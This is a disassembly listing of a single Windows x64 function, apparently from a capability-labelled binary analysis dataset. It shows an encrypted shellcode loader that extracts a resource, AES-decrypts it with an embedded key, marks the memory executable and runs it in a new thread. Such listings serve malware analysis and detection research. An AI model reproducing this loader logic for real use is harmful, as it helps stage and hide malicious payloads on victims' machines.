Function at 0x14000151e
Capabilities:
Create thread
Extract resource via kernel32 functions

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 0x3c], 0
mov qword [rbp - 8], 0
movabs rax, 0x2b89aa8c06a1294f
movabs rdx, 0x604ff7ebac0276e4
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov r8d, 0xa
mov edx, 0x65
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001599
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____FindResource_Failed_With_Error:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0xffffffff
jmp 0x140001781
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400015dd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____LoadResource_Failed_With_Error:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0xffffffff
jmp 0x140001781
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x14000161c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____LockResource_Failed_With_Error:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0xffffffff
jmp 0x140001781
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp - 0x1c], eax
mov eax, dword [rbp - 0x1c]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x18]
mov r8, rax
lea rax, str.payload_addr
mov rdx, rax
lea rax, str.__20s_:_0x__016p_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp - 0x28]
mov r8, rax
lea rax, str.exec_mem_addr
mov rdx, rax
lea rax, str.__20s_:_0x__016p_n
mov rcx, rax
call dbg.printf
cmp qword [rbp - 0x28], 0
jne 0x1400016c3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____VirtualAlloc_Failed_With_Error:__d__n
mov rcx, rax
call dbg.printf
mov eax, 0xffffffff
jmp 0x140001781
lea rcx, [rbp - 0x50]
mov edx, dword [rbp - 0x1c]
mov rax, qword [rbp - 0x18]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.AESDecrypt
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov edx, dword [rbp - 0x1c]
lea rcx, [rbp - 0x3c]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
lea rax, str._nHit_me_
mov rcx, rax
call sym.puts
call sym.getchar
cmp dword [rbp - 0x2c], 0
je 0x14000177c
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret